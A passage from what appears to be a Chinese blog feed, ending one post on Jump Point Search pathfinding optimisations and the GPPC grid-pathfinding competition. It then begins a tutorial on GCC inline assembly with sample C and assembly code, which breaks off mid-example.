&lt;p&gt;openset采用最小堆实现，最小堆的底层数据结构是一个数组，从最小堆中插入、删除时间复杂度为O(logn)。除了删除还需要查找操作，每次找到一个跳点，都需要判断在最小堆中是否有，如果有，则判断是否更新G值、F值、父跳点等，如果没有，则加入openset。在最小堆的中查找操作时间复杂度O(n)，因此需要优化。closedset存的是已经从openset中弹出的跳点，实际只需要对每个跳点加个标记即可，如果跳点打上标记，则表示是closedset中跳点，否则不是。综合上述需求，针对1km*1km的地图，构建2k*2k的二维数组matrix，数组每个元素pnode均为一个指针，指针的对象类型包括节点id、是否扩展过expanded(即是否在closedset中)、G值、F值、父跳点指针parent、在最小堆中的索引index等12个byte。如果地图(x,y)处是搜索到的跳点，首先检查在二维数组matrix对应的(x,y)处指针pnode是否为空，如果为空，表示该跳点之前未搜索过，从内存池new出一个跳点，将指针加到最小堆openset中，并在执行shift up、shift down操作之后，记录在最小堆中的索引index；如果不为空，则表示该跳点之前搜索过，首先检查expand标记，如果为真，则表示在closedset中，直接跳过该跳点；否则表示在openset中，通过matrix(x,y)记录的在openset中的索引index找到对应的指针，检查matrix(x,y)和openset(index)的指针是否相等进行二次确认，然后检查判断是否需要更新G值、F值、父跳点等，采用空间换时间的方法可以将openset和closedset中查找操作降为O(1)。游戏中有很多场景，无需为每个场景构建一个matrix，以最大的场景的大小构建一个matrix即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-duo-xian-cheng-zhi-chi&quot;&gt;3.2 多线程支持&lt;&#x2F;h3&gt;
&lt;p&gt;游戏服务器普遍采用单进程多线程架构，多线程下，不能对JPS寻路加锁，否则寻路串行化，失去了多线程的优势，为了支持多线程JPS寻路，需要将一些变量声明为线程独有thread_local，例如上文提到的为了优化openset和closedset的查找速度，构建的二维跳点指针数组matrix。该数组必须为线程独有，否则，不同线程在寻路时，都修改matrix元素指向的跳点数据，例如A线程在扩展完跳点后，将expanded标记为真，B线程再试图扩展该跳点时，发现已经扩展过，就直接跳过，导致寻路错误。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-3-1-fen-ceng&quot;&gt;3.3.1 分层&lt;&#x2F;h4&gt;
&lt;p&gt;JPS的地图格子粒度如果采用0.5m*0.5m，每个格子占1bit，则1km*1km的地图占用内存2k*2k&#x2F;8个byte，即0.5M；为了向上、向下也能通过取32位数获得向上、向下的32个格子阻挡信息，需要存将地图旋转90度后的阻挡信息；上文JPS优化之四：不可达两点提前判断，需要存连通信息，假设连通区数目最多15个，则需内存2k*2k&#x2F;2个byte，即2m，则内存为：原地图阻挡信息0.5m、旋转地图阻挡信息0.5m、连通区信息2m，即3m。另外，上文提到用空间换时间的方法，为了优化openset和closedset的查找速度，构建二维跳点指针数组matrix。1km*1km的地图，格子粒度为0.5m*0.5m，构建出的matrix指针数组大小为2k&lt;em&gt;2k&lt;&#x2F;em&gt;4byte即为8m，为了支持多线程，该matrix数组必须为thread_local，即线程独有，16个线程共需内存16*8m即为128m，内存空间太大，因此需要优化这部分内存。首先将2k*2k分成100*100的块，即20*20个块，20*20个块为第一层数组firLayerMatrix，100*100为第二层数组secLayerMatrix，firLayerMatrix的400个元素为400个指针，每个指针初始化为空，当遍历到的跳点属于firLayerMatrix中(x,y)的块时，则从内存池new出100*100*4byte的secLayerMatrix，secLayerMatrix每个元素也是一个指针，指向一个从内存池new出来的跳点。例如，搜索2k*2k的地图时，在(231,671)位置找到一个跳点，首先检查firLayerMatrix的(2,6)位置指针是否为空，如果为空，则new出100*100*4byte的secLayerMatrix，继续在secLayerMatrix查找(31,71)位置检查跳点的指针是否为空，如果为空，则从内存池new出来跳点，加入openset，否则检查跳点的expanded标记，如果标记为真，表示在closedset中，直接跳过该点，否则表示在openset中，判断是否更新G值、F值、父节点等。因为游戏中NPC寻路均为短距离寻路，JPS寻路区域最大为80*80，一个secLayerMatrix是100*100，因此只需要一个secLayerMatrix，则两层matrix大小为：20*20*4byte+100*100*4byte即为0.04m。所以16个线程下，总内存为：原地图阻挡信息0.5m、旋转地图阻挡信息0.5m、连通区信息2m、两层matrix0.04m*16，共3.64M，游戏中场景最多不到20个，所有场景JPS总内存为72.8M。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-3-2-nei-cun-chi&quot;&gt;3.3.2 内存池&lt;&#x2F;h4&gt;
&lt;p&gt;在搜索过程中，每次将一个跳点加入openset，都需要new出对应的节点对象，节点对象中存节点id、父节点、寻路消耗等共12个byte，为了减少内存碎片，以及频繁new的时间消耗，需要自行管理内存池，每次new节点对象时，均从内存池中申请，为了防止内存池增长过大，需要限制搜索步数。内存池是在真正使用内存之前，先申请分配一定数量的、大小相等(一般情况下)的内存块留作备用。当有新的内存需求时，就从内存池中分出一部分内存块，若内存块不够再继续申请新的内存。本文的内存池共有两个：一，跳点的内存池，初始大小为800个跳点，当new的跳点数目超出800个，即停止寻路，因为服务器用JPS进行NPC的寻路，NPC不会进行长距离寻路，假设NPC寻路上限距离是20m，则寻路区域面积是40m&lt;em&gt;40m，格子数80&lt;&#x2F;em&gt;80即6400，经统计跳点数目占所有格子数目的比例不到1&#x2F;10， 即跳点数目少于640，因此800个跳点足够使用，800个跳点共占内存800byte*12，即为9.6k，忽略不计；二，secLayerMatrix指向的100*100*4byte的内存池，因为每次寻路都需要至少一个secLayerMatrix，如果每次寻路都重新申请，寻路完后再释放，会造成开销，因此secLayerMatrix指向的100&lt;em&gt;100&lt;&#x2F;em&gt;4byte的空间也在内存池中，申请时，从内存池拿出，释放时，放回内存池即可，secLayerMatrix内存池占内存0.04m。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-4-lu-jing-you-hua&quot;&gt;3.4 路径优化&lt;&#x2F;h3&gt;
&lt;p&gt;如图3.4.1所示，绿色格子为起点，红色格子为终点，灰色格子为跳点，蓝线为JPS搜出来的路径，灰色虚线为搜索过程。可以看出，从绿色格子到红色格子可以直线到达，而JPS搜索出来的路径却需要转折一次，在游戏表现上，会显得比较奇怪。因此在JPS搜索出来路径后，需要对路径进行后处理。比如JPS搜出来的路径有A、B、C、D、E、F、G、H八个点，走到A时，需要采样检查A、C是否直线可达，如果A、C直线可达，再检查A、D是否直线可达，如果A、D直线可达，继续检查A、E，如果A、E直线不可达，则路径优化为A、D、E、F、G、H，走到D时，再检查D、F是否直线可达，如果D、F直线可达，继续检查D、G，如果D、G直线不可达，则路径优化为A、D、F、G、H。依此类推，直到走到H。因为采样检查的速度很快，大约占JPS寻路时间的1&#x2F;5，而且只有当走到一个路点后，才采样检查该路点之后的路点是否可以合并，将采样的消耗平摊在行走的过程中，因此采样的消耗可以忽略。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;jps-pathfinding&#x2F;jps-path-optimization.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图3.4.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;3-4-1.png&quot;&gt;图3.4.1&lt;&#x2F;a&gt;## 4.GPPC竞赛解读&lt;&#x2F;p&gt;
&lt;h4 id=&quot;4-1-gppcjing-sai-yu-di-tu-shu-ju-ji&quot;&gt;4.1 GPPC竞赛与地图数据集&lt;&#x2F;h4&gt;
&lt;p&gt;  基于格子的寻路一直是被广泛研究的热点问题，也有很多已经发表的算法，但是这些算法没有相互比较过，因此也难辨优劣，使用者如何选择算法也有很大的困难。为了解决这个问题，美国丹佛大学的Nathan R. Sturtevant教授创办了基于Grid格子的寻路比赛：The Grid-Based Path Planning Competition，简称GPPC，目前已经在2012、2013、2014举办过三次，下文主要讨论GPPC2014。
  GPPC比赛用的地图集如表4.1.1所示，地图数据主要分为游戏场景图和人造地图。其中来自游戏场景图的数据有三类：Starcraft（星际争霸）、Dragon Age2（龙腾世纪2）、Dragon Age:origins（龙腾世纪：起源），三个游戏分别提供地图11、57、27张，提供寻路问题29970、54360、44414个。来自人造地图有三类：迷宫、随机、房间，三类数据分别提供地图18、18、18张，提供寻路问题145976、32228、27130个。六类数据共提供地图132张，寻路问题347868个。图4.1.1中给出三个游戏的场景图示例，图4.1.2中给出三类人造地图示例，其中黑色代表阻挡区，白色代表可行走区。地图大小从100*100到1550*1550，六个地图集的大小分布如图4.1.3所示，横坐标是格子数，纵坐标是地图数目，最小的地图来自Dragon Age:origins（龙腾世纪：起源），最大的地图来自Starcraft（星际争霸）和人造数据。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;jps-pathfinding&#x2F;gppc-map-datasets-table.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;表4.1.1 GPPC比赛用的地图集&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;%E8%A1%A84-1-1.png&quot;&gt;表4.1.1 GPPC比赛用的地图集&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;jps-pathfinding&#x2F;gppc-game-map-examples.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图4.1.1 GPPC的三类游戏场景地图示例&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;4-1-1.png&quot;&gt;图4.1.1 GPPC的三类游戏场景地图示例&lt;&#x2F;a&gt;&amp;gt; 📄 [图片文字版] 图 4-1-2 展示寻路算法常用的五种测试地图：(a)(b) Room 房间型（大片空地由少量墙&#x2F;门洞分隔），(c)(d) Maze 迷宫型（走廊迂回密集、墙有粗细两种风格），以及 Random 随机地图（网格中随机散布障碍点）。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图4.1.2 GPPC的三类人造场景地图示例&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;4-1-2.png&quot;&gt;图4.1.2 GPPC的三类人造场景地图示例&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;jps-pathfinding&#x2F;gppc-map-size-distribution.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图4.1.3 GPPC的六类地图大小分布&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;4-1-3.png&quot;&gt;图4.1.3 GPPC的六类地图大小分布&lt;&#x2F;a&gt;#### 4.2 GPPC的评价体系&lt;&#x2F;p&gt;
&lt;p&gt;  GPPC在相同的配置下运行参赛算法，其中CPU的配置是Xeon E5620，四核处理器、2.4Ghz主频，12G内存。为了消除误差，GPPC要求对每个参赛的寻路方法在34868个寻路问题上运行5遍，共寻路34868*5，即174340次，所以下文介绍的总运行时间等指标都是寻路174340次的结果汇总。其中运行时间包括：加载预处理数据和寻路时间，而预处理时间并不计算在运行时间内。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;                                        GPPC定义如下13个指标来评价寻路算法（其中，路径表示从起点到终点的完整路径）：
1. Total (秒)：寻路174340次所花费的总时间。
2. Avg(毫秒)：寻路174340次的平均时间。
3. 20 Step(毫秒)：寻找到路径的前20步所花费的平均时间。该指标衡量最快多久可以跟随路径，在实时交互例如游戏中，该指标很重要。
4. Max Segment(毫秒)：每条路径最长段的寻路平均时间。该指标衡量在实时交互中，寻路方法最差情况下的表现。
5. Avg Len：路径的平均长度。如果A寻路算法在长路径上表现好，在短路径上表现不好；B寻路算法在长路径上表现不好，在短路径上表现好，则A的该指标优于B的指标，因为Avg Len的增加主要来自长路径。该指标偏向于在长路径上表现好的寻路方法。
6. Avg Sub-Opt：寻到的路径长度&amp;#x2F;最优路径长度 的平均值。如果A寻路方法在长路径上表现好，在短路径上表现不好；B路径寻路方法在长路径上表现不好，在短路径上表现好，则B的该指标优于A的指标，因为174340次寻路大多数的路径都是短路径。该指标偏向于在短路径上表现好的寻路方法。
7. Num Solved：在174340次寻路中，成功的数目。
8. Num Invalid：在174340次寻路中，返回错误路径的数目。错误路径：路径的相邻路点无法直线到达。
9. Num UnSolved：在174340次寻路中，没有寻找到路径的数目。
10. RAM(before)(兆)：寻路算法在加载预处理数据后，寻路之前占用的内存。
11. RAM(after)(兆)：寻路174340次后占用的内存，包括所有寻路结果占用的内存。
12. Storage：预处理的数据占用的硬盘大小。
13. Pre-cmpt(分钟)：预处理数据花费的时间，表3中该列数字之前的“+”表示采用并行计算进行预处理。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;4-3-gppccan-sai-suan-fa-ji-qi-bi-jiao&quot;&gt;4.3 GPPC参赛算法及其比较&lt;&#x2F;h4&gt;
&lt;p&gt;  目前为止参加GPPC竞赛的算法共有22个，其中参加GPPC2014的有14个，可大致分为如下4类：一，对A*的改进，例如Relaxed A*(RA*)和A* Bucket；二，利用格子特点的算法，例如Jump Point Search(JPS)和SubGoal Graphs；三，预先生成任意两点第一个路点的压缩数据库，例如SRC；四，基于节点优先级的算法，例如Contraction Hierarchy(CH)。
  表4.3.1给出参加GPPC2012、2013、2014的共22个算法的结果对比，其中前14个为参与GPPC2014的算法。其中第一列（Entry列）为算法名，其后13列给出每个算法在13个指标下的表现。第一列被黑体加粗的算法表示该算法在某些指标（帕累托最优的指标）达到帕累托最优，该算法所在的行被加粗的指标，表示帕累托最优的指标。帕累托最优表示：没有其他算法在帕累托最优的指标上均优于当前算法。例如JPS(2012)帕累托最优的指标：第6个指标Avg Sub-Opt和第12个指标Storage，达到帕累托最优，表示没有其他算法在6个指标Avg Sub-Opt和第12个指标Storage上均优于JPS(2012)。22种算法没有严格的优劣关系，只是在不同指标下的表现各有侧重，算法的使用者可基于对不同指标的具体需求来选择自己适用的算法。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] GPPC 2014 表（全解 1,739,340 例）：预处理组 SRC-dfs 最快 0.145ms（28GB、预处理 11649.5 分钟）、CH 0.362ms（2.4GB、968.8 分钟）。低预处理组：NSubgoal 0.773ms（293MB）、BLJPS2 7.444ms（47MB）、JPS+ 7.732ms、BLJPS 14.453ms；A* Bucket 36.815ms、49600 例未解。历史：JPS(2012) 62.524ms、Tree(2013) 0.029ms。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;表4.3.1 GPPC2014的比赛结果&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;%E8%A1%A84-3-1.png&quot;&gt;表4.3.1 GPPC2014的比赛结果&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;                                        下面给出所有在GPPC中获得帕累托最优的算法，本文介绍的JPS算法位列其中。
1.RA*(2014)：第10个指标RAM(before)和第12个指标Storage帕累托最优。
2.BLJPS(2014)：第2个指标Avg、第6个指标Avg Sub-Opt和第12个指标Storage帕累托最优。
3.BLJPS2(2014)：第2个指标Avg、第6个指标Avg Sub-Opt和第12个指标Storage帕累托最优。
4.RA-Subgoal(2014)：第2个指标Avg和第12个指标Storage帕累托最优。
5.NSubgoal(2014)：第2个指标Avg、第6个指标Avg Sub-Opt和第12个指标Storage帕累托最优。
6.CH(2014)：第2个指标Avg、第6个指标Avg Sub-Opt和第12个指标Storage帕累托最优。
7.SRC-dfs-i(2014)：第3个指标20 Step和第4个指标Max Segment帕累托最优。
8.SRC-dfs(2014)：第2个指标Avg和第6个指标Avg Sub-Opt帕累托最优。
9.JPS(2012)：第6个指标Avg Sub-Opt和第12个指标Storage帕累托最优。本文的主角JPS在未使用预处理的算法中Avg Sub-Opt表现最优。
10.PDH(2012)：第3个指标20 Step和第12个指标Storage帕累托最优。
11.Tree(2013)：第2个指标Avg帕累托最优。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GCC 内联汇编 - 不告诉你我是谁</title>
        <published>2024-03-04T00:00:00+00:00</published>
        <updated>2024-06-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/gcc-内联汇编-不告诉你我是谁/"/>
        <id>https://vercel.juzhong.asia/obsidian/gcc-内联汇编-不告诉你我是谁/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/gcc-内联汇编-不告诉你我是谁/">&lt;h1 id=&quot;gcc-nei-lian-hui-bian-bu-gao-su-ni-wo-shi-shui&quot;&gt;GCC 内联汇编 - 不告诉你我是谁&lt;&#x2F;h1&gt;
&lt;p&gt;GNU C 允许在 C 代码中嵌入汇编代码，这种特性被称为内联汇编。使用内联汇编可以同时发挥 C 和汇编的强大能力。&lt;&#x2F;p&gt;
&lt;p&gt;本文介绍 GCC 的内联汇编拓展，Clang 编译器兼容大部分 GCC 语言拓展，因此 GNU C 的内联汇编特性大部分在 Clang 中工作正常。&lt;&#x2F;p&gt;
&lt;p&gt;本文实验环境如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;Linux Friday 5.8.17-300.fc33.x86_64 #1 SMP Thu Oct 29 15:55:40 UTC 2020 x86_64 x86_64 x86_64 GNU&amp;#x2F;Linux
gcc (GCC) 10.2.1 20201016 (Red Hat 10.2.1-6)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用 64 位 AT&amp;amp;T 风格 x86 汇编，为了和编译器自动生成的注释区分开，我添加的注释使用&lt;code&gt;##&lt;&#x2F;code&gt;风格。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-ben-nei-lian-hui-bian&quot;&gt;基本内联汇编&lt;&#x2F;h2&gt;
&lt;p&gt;基本内联汇编是 GCC 对内联汇编最简陋的支持，它实际上已经没有任何使用价值了，介绍它只是为了说明使用内联汇编的基本原理和问题。&lt;&#x2F;p&gt;
&lt;p&gt;基本内联汇编的语法如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;asm asm_qualifiers ( AssembleInstructions )
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;asm_qulifiers&lt;&#x2F;code&gt;包括以下两个修饰符：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;volatile: 指示编译器不要对 asm 代码段进行优化&lt;&#x2F;li&gt;
&lt;li&gt;inline: 指示编译器尽可能小的假设 asm 指令的大小&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这两个修饰符的意义先不用深究，本文会逐步介绍它们的作用。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;asm&lt;&#x2F;code&gt;不是 ISO C 中的关键字，如果我们开启了 -std=c99 等启用 ISO C 的编译选项，代码将无法成功编译。然而，内联汇编对于许多  ISO C 程序是必须的，GCC 通过 _&lt;em&gt;asm&lt;&#x2F;em&gt;_ 给程序员开了个后门。使用 __asm__ 替代 asm 可以让程序作为 ISO C 程序成功编译。volatile 和 inline 也有加 __ 的版本。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;AssembleInstructions&lt;&#x2F;code&gt;是我们手写的汇编指令。基本内联汇编的例子如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;__asm__ __valatile__(
      &amp;quot;movq %rax, %rdi \n\t&amp;quot;
      &amp;quot;movq %rbx, %rsi \n\t&amp;quot;
);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译器不解析 asm 块中的指令，直接把它们插入到生成的汇编代码中，剩下的任务有汇编器完成。这个过程有些类似于宏。为了避免我们手写的汇编代码挤在一起，导致指令解析错误，通常在每一条指令后面都加上&lt;code&gt;\n\t&lt;&#x2F;code&gt;获得合适的格式。&lt;&#x2F;p&gt;
&lt;p&gt;编译器不解析 asm 块中的指令的一个推论是：GCC 对我们插入的指令毫不知情。这相当于我们人为地干涉了 GCC 自动的代码生成，如果我们处理不当，很可能导致最终生成的代码是错误的。考虑以下代码段：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;

int
main()
{
    unsigned long long sum = 0;
    for (size_t i = 1; i &amp;lt;= 10; ++i)
    {
        sum += i;
    }
    printf(&amp;quot;sum: %llu\n&amp;quot;, sum);
    return 0;
}
--------------------------------------
  			  output
--------------------------------------
sum: 55
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码很简单，只是简单的整数求和。反汇编结果如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;	.file	&amp;quot;basic-asm.c&amp;quot;
	.text
	.section	.rodata
.LC0:
	.string	&amp;quot;sum: %llu\n&amp;quot;
	.text
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc		      ## 进入函数
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6        ## 分配局部变量
	subq	$16, %rsp
	movq	$0, -8(%rbp)		    ## sum
	movq	$1, -16(%rbp)           ## i
	jmp	.L2
.L3:					    ## for body
  	movq	-16(%rbp), %rax         ## sum += i
	addq	%rax, -8(%rbp)
	addq	$1, -16(%rbp)           ## ++i
.L2:
	cmpq	$10, -16(%rbp)          ## for 条件判断
	jbe	.L3
	movq	-8(%rbp), %rax          ## 传递参数给 printf
	movq	%rax, %rsi              ## x86-64 通常可以使用 6 个寄存器传递参数
	movl	$.LC0, %edi             ## 从做往右依次为 %rdi, %rsi, %rdx, %rcx, %r8, %r9
 	movl	$0, %eax                ## 更多的参数通过堆栈传递
	call	printf
	movl	$0, %eax
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.ident	&amp;quot;GCC: (GNU) 10.2.1 20201016 (Red Hat 10.2.1-6)&amp;quot;
	.section	.note.GNU-stack,&amp;quot;&amp;quot;,@progbits

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到在 for body 中，变量&lt;code&gt;i&lt;&#x2F;code&gt;被分配到&lt;code&gt;-16(%rbp)&lt;&#x2F;code&gt;中，我们在&lt;code&gt;sum += i&lt;&#x2F;code&gt;前插入这段代码来验证基本内联汇编的处理过程。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;__asm__ __volatile__(
        &amp;quot;movq $100, -16(%rbp)\n\t&amp;quot;
        );
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;反汇编结果如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;	.file	&amp;quot;basic-asm.c&amp;quot;
	.text
	.section	.rodata
.LC0:
	.string	&amp;quot;sum: %llu\n&amp;quot;
	.text
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6
	subq	$16, %rsp
	movq	$0, -8(%rbp)
	movq	$1, -16(%rbp)
	jmp	.L2
.L3:
#APP						## 可以看到编译器直接将我们的指令插入到了汇编文件中
# 9 &amp;quot;basic-asm.c&amp;quot; 1
	movq $100, -16(%rbp)

# 0 &amp;quot;&amp;quot; 2
#NO_APP
	movq	-16(%rbp), %rax
	addq	%rax, -8(%rbp)
	addq	$1, -16(%rbp)
.L2:
	cmpq	$10, -16(%rbp)
	jbe	.L3
	movq	-8(%rbp), %rax
	movq	%rax, %rsi
	movl	$.LC0, %edi
	movl	$0, %eax
	call	printf
	movl	$0, %eax
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.ident	&amp;quot;GCC: (GNU) 10.2.1 20201016 (Red Hat 10.2.1-6)&amp;quot;
	.section	.note.GNU-stack,&amp;quot;&amp;quot;,@progbits

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们通过基本内联汇编将变量&lt;code&gt;i&lt;&#x2F;code&gt;的值修改为&lt;code&gt;100&lt;&#x2F;code&gt;,因此程序会直接退出&lt;code&gt;for&lt;&#x2F;code&gt;循环，运行结果为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;sum = 100
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;基本内联汇编中没有程序员和编译器的交流，程序员不知道编译器将生成怎样的代码，编译器也不知道程序员希望它怎样生成代码为内联汇编的结果几乎不可控制，因此内联汇编没有任何实用价值。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tuo-zhan-nei-lian-hui-bian&quot;&gt;拓展内联汇编&lt;&#x2F;h2&gt;
&lt;p&gt;从上面基本内联汇编的介绍可以发现，生成正确的代码需要程序员和编译器的通力合作，只有充分的交流才能确保结果的正确。拓展内联汇编很好的实现了程序员和编译器的交流，程序员不再打乱编译器的代码生成，而是提供充分信息来辅助、微调编译器的代码生成。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-ben-yuan-li-he-si-lu&quot;&gt;基本原理和思路&lt;&#x2F;h2&gt;
&lt;p&gt;在编译器生成代码的过程是一个动态的过程，变量可能被分配到寄存器（如 rax）中，也可能被分配到内存中;一个整型字面值可能是 32 位立即数，也可能是 64 位大立即数;可能使用 rax 寄存器，也可能使用 rbx 寄存器。程序员任何擅自的篡改都会导致生成错误的代码。&lt;&#x2F;p&gt;
&lt;p&gt;拓展内联汇编从程序员处获取信息，并根据获取的信息调整自己生成代码的行为。比如，程序员要求将某个变量分配到 rax 寄存器中，编译器就会将该变量分配在 rax 中，并调整其他部分的代码，使程序员的要求不影响正确代码的生成。&lt;&#x2F;p&gt;
&lt;p&gt;因此，使用拓展内联汇编的基本思路就是：提供尽可能多的信息给编译器。程序员提供的信息越多，出错的概率就越小。除了提供信息，程序员还应该清楚地明白 GCC 对内联汇编做的假设和限制。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yu-fa-jie-gou&quot;&gt;语法结构&lt;&#x2F;h2&gt;
&lt;p&gt;拓展内联汇编的语法结构如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;asm asm-qualifiers ( AssemblerTemplate
                 : OutputOperands
                 [ : InputOperands
                 [ : Clobbers ] ])

asm asm-qualifiers ( AssemblerTemplate
                      :
                      : InputOperands
                      : Clobbers
                      : GotoLabels)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;asm&lt;&#x2F;code&gt;、&lt;code&gt;asm-qualifiers&lt;&#x2F;code&gt;和基本内联汇编基本相同。基本内联汇编提供了在汇编中跳转到 C Label 的能力，因此&lt;code&gt;asm_qualifiers&lt;&#x2F;code&gt;中增加了 &lt;strong&gt;goto&lt;&#x2F;strong&gt;。goto 修饰符只能用于第二种形式中。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;AssemblerTemplate&lt;&#x2F;code&gt;是程序员手写的汇编指令，但是增加了几种更方便的表示方法。&lt;&#x2F;p&gt;
&lt;p&gt;可以将拓展内联汇编 asm 块看成一个黑盒，我们给一些变量、表达式作为输入，指定一些变量作为输出，指明我们指令的副作用，运行后这个黑盒会按照我们的要求将结果输出到输出变量中。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;OutputOperands&lt;&#x2F;code&gt;表示输出变量，&lt;code&gt;InputOperands&lt;&#x2F;code&gt;表示输入变量，&lt;code&gt;Clobbers&lt;&#x2F;code&gt;表示副作用（asm 块中可能修改的寄存器、内存）等。&lt;&#x2F;p&gt;
&lt;p&gt;拓展内联汇编语法结构比较复杂，没法一下讲清楚，先给出一个例子一览全貌。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F; 测试 val 的第 bit 位是否为 1
int
bittest(unsigned long long val, unsigned long long bit)
{
    int ret;
    __asm__ (
        &amp;quot;movl $0, %0 \n\t&amp;quot;		   &amp;#x2F;&amp;#x2F; %0 代表 ret（第 0 个输入&amp;#x2F;输出）
